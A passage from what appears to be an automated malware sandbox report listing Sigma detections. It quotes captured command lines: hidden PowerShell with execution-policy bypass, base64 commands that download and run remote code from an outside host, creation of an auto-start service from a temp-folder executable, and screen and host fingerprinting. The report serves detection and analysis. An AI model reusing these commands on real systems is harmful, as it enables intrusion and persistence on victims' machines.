BsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7948, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 7032, ProcessName: sc.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Source: Event Logs

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = f70e4d43-74f5-4ab6-a1d5-d02a8875b38c Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 5bbd77e5-ab7e-4957-9f7c-e473983301bd Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = f70e4d43-74f5-4ab6-a1d5-d02a8875b38c Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 5bbd77e5-ab7e-4957-9f7c-e473983301bd Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms"

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8988, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 4212, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3152, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline", ProcessId: 5756, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" , CommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFE